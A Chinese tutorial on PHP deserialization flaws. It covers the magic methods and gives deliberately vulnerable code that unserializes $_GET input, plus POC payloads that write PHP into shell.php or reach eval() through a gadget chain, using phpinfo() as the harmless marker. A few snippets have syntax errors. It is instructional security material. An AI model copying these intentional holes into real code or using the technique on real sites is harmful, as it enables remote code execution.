0x00 什么是序列化
通俗的讲就是把一串代码转化成字符串存储在一个对象中。反序列化是把对象中的字符串转化成可执行代码。在程序执行结束时,内存数据便会立即销毁,变量所储存的数据便是内存数据,而文件、数据库是“持久数据”,因此PHP序列化就是将内存的变量数据“保存”到文件中的持久数据的过程。
0x01 序列化函数和魔术方法
PHP手册中对序列化函数的解释 serialize() 序列化函数 返回字符串,此字符串包含了表示value的字节流,可以存储于任何地方。 unserialize() 反序列化函数 对单一的已序列化的变量进行操作,将其转换回PHP的值。 魔术方法 __construct 当一个对象创建时被调用, __destruct 当一个对象销毁时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __sleep() 使用serialize时触发 __destruct() 对象被销毁时触发 __call() 在对象上下文中调用不可访问的方法时触发 __callStatic() 在静态上下文中调用不可访问的方法时触发 __get() 用于从不可访问的属性读取数据 __set() 用于将数据写入不可访问的属性 __isset() 在不可访问的属性上调用isset()或empty()触发 __unset() 在不可访问的属性上使用unset()时触发 __toString() 把类当作字符串使用时触发,返回值需要为字符串 __invoke() 当脚本尝试将对象调用为函数时触发
|
返回类型
string 字符串类型 Integer 整数型 Boolean 布尔型 Null 空 Array 数组类型 Object 对象类型
|
小栗子:
<?php class chybeya{ public var $test = '121'; } $class1 = new chybeya; $class1_ser = serialize($class1);
print_r($class1_ser);
echo '<hr/>'; $class2_unser = unserialize($class1_ser); print_r($class2_unser);
|
魔术方法
<?php class test{ public $varr1 = "abc"; public $varr2 = "123"; public function echop(){ echo $this->varr1."<br>"; } public function __construct(){ echo "__construct<br>"; } public function __destruct(){ echo "__destruct<br>"; } public function __toString(){ return "__toString<br>"; } public function __sleep(){ echo "__sleep<br>"; return array('varr1','varr2'); } public function __wakeup(){ echo "__wakeup<br>"; } }
$obj = new test(); $obj->echop(); echo $obj; $s =serialize($obj); echo unserialize($s);
?>
|
小栗子:测试代码
class chybeta{ public $test = '123'; public function __wakeup(){ $fp = fopen("shell.php","w") ; fwrite($fp,$this->test); fclose($fp); } } $class3 = $_GET['test']; print_r($class3); echo "</br>"; $class3_unser = unserialize($class3); require "shell.php";
|
payload:
<?php class chybeta{ public $test = '123'; public function __wakeup(){ $fp = fopen("shell.php","w") ; fwrite($fp,$this->test); fclose($fp); } } $class4 = new chybeta(); $class4->test = "<?php phpinfo();?>"; $class4_ser = serialize($class4); print_r($class4_ser);
?>
|
因之前包含的shell.php,代码被执行输出phpinfo页面
shell文件中写入phpinfo
其他魔术方法的利用
如果在unserialize()中并不会直接调用的魔术函数,比如前面提到的construct(),是不是就没有利用价值呢?非也。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。
<?php class ph0en1x{ public function __construct($test){ $fp = fopen("shell.php","w") ; fwrite($fp,$test); fclose($fp); } } class chybeta{ public $test = '123'; public function __wakeup(){ $obj = new ph0en1x($this->test); } } $class5 = $_GET['test']; print_r($class5); echo "</br>"; $class5_unser = unserialize($class5); require "shell.php"; ?>
|
POC
<?php class ph0en1x{ public function __construct($test){ $fp = fopen("shell.php" , "w"); fwrite($fp,$test); fclose($fp); } } class chybeta{ public $test = '123'; public function __wakeup(){ $obj = new ph0en1x($this->test); } } $class5 = new chybeta(); $class5->test = "<?php phpinfo();?>"; $class5_ser = serialize($class5); print_r($class5_ser);
|
如下图所示
序列化后的:chybeta Object ( [test] => "<?php phpinfo();?>") 因为php可以识别并执行,所以phpinfo被成功执行。
|
当漏洞代码存在类的普通方法中,此时如不能使用“自动调用”。可利用普通的方法构造poc
测试小栗子:
<?php class chybeta { public $test; public function __construct() { $this->test = new ph0en1x(); } public function __destruct() { $this->test->action(); } } class ph0en1x { public function action() { echo "ph0en1x"; } } class ph0en2x { public $test2; public function action() { eval($this->test2); } } $class6 = new chybeta(); $class7 = $_GET['test']; unserialize($class7);
|
POC: <?php class chybeta { public $test; function __construct() { $this->test = new ph0en2x(); } } class ph0en2x { $test2 = "phpinfo();"; } echo serialize(new chybeta()); ?>
|
调试过程如下图:
参考链接:
https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://www.freebuf.com/articles/web/241998.html
https://mp.weixin.qq.com/s/JzGDyP6RGZ4xCxV4gqM2Sw
https://zhuanlan.zhihu.com/p/69132837